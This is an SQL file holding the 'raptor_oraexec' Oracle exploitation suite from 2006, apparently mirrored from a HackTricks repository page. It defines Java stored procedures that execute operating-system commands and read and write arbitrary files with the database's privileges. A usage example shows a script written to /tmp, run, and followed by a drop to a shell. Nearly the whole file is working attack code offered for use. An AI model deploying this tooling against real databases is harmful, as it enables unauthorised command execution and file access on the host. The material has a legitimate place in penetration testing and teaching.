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https://github.com/carlospolop/hacktricks
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98 lines
2.8 KiB
SQL
98 lines
2.8 KiB
SQL
--
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-- $Id: raptor_oraexec.sql,v 1.2 2006/11/23 23:40:16 raptor Exp $
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--
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-- raptor_oraexec.sql - java exploitation suite for oracle
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-- Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>
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--
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-- This is an exploitation suite for Oracle written in Java. Use it to
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-- read/write files and execute OS commands with the privileges of the
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-- RDBMS, if you have the required permissions (DBA role and SYS:java).
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--
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-- "The Oracle RDBMS could almost be considered as a shell like bash or the
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-- Windows Command Prompt; it's not only capable of storing data but can also
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-- be used to completely access the file system and run operating system
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-- commands" -- David Litchfield (http://www.databasesecurity.com/)
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--
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-- Usage example:
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-- $ sqlplus "/ as sysdba"
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-- [...]
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-- SQL> @raptor_oraexec.sql
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-- [...]
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-- SQL> exec javawritefile('/tmp/mytest', '/bin/ls -l > /tmp/aaa');
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-- SQL> exec javawritefile('/tmp/mytest', '/bin/ls -l / > /tmp/bbb');
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-- SQL> exec dbms_java.set_output(2000);
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-- SQL> set serveroutput on;
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-- SQL> exec javareadfile('/tmp/mytest');
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-- /bin/ls -l > /tmp/aaa
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-- /bin/ls -l / >/tmp/bbb
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-- SQL> exec javacmd('/bin/sh /tmp/mytest');
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-- SQL> !sh
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-- $ ls -rtl /tmp/
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-- [...]
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-- -rw-r--r-- 1 oracle system 45 Nov 22 12:20 mytest
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-- -rw-r--r-- 1 oracle system 1645 Nov 22 12:20 aaa
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-- -rw-r--r-- 1 oracle system 8267 Nov 22 12:20 bbb
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-- [...]
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--
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create or replace and resolve java source named "oraexec" as
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import java.lang.*;
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import java.io.*;
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public class oraexec
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{
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/*
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* Command execution module
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*/
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public static void execCommand(String command) throws IOException
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{
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Runtime.getRuntime().exec(command);
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}
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/*
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* File reading module
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*/
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public static void readFile(String filename) throws IOException
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{
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FileReader f = new FileReader(filename);
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BufferedReader fr = new BufferedReader(f);
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String text = fr.readLine();
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while (text != null) {
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System.out.println(text);
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text = fr.readLine();
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}
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fr.close();
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}
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/*
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* File writing module
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*/
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public static void writeFile(String filename, String line) throws IOException
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{
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FileWriter f = new FileWriter(filename, true); /* append */
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BufferedWriter fw = new BufferedWriter(f);
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fw.write(line);
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fw.write("\n");
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fw.close();
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}
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}
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/
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-- usage: exec javacmd('command');
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create or replace procedure javacmd(p_command varchar2) as
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language java
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name 'oraexec.execCommand(java.lang.String)';
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/
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-- usage: exec dbms_java.set_output(2000);
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-- set serveroutput on;
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-- exec javareadfile('/path/to/file');
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create or replace procedure javareadfile(p_filename in varchar2) as
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language java
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name 'oraexec.readFile(java.lang.String)';
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/
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-- usage: exec javawritefile('/path/to/file', 'line to append');
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create or replace procedure javawritefile(p_filename in varchar2, p_line in varchar2) as
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language java
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name 'oraexec.writeFile(java.lang.String, java.lang.String)';
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/
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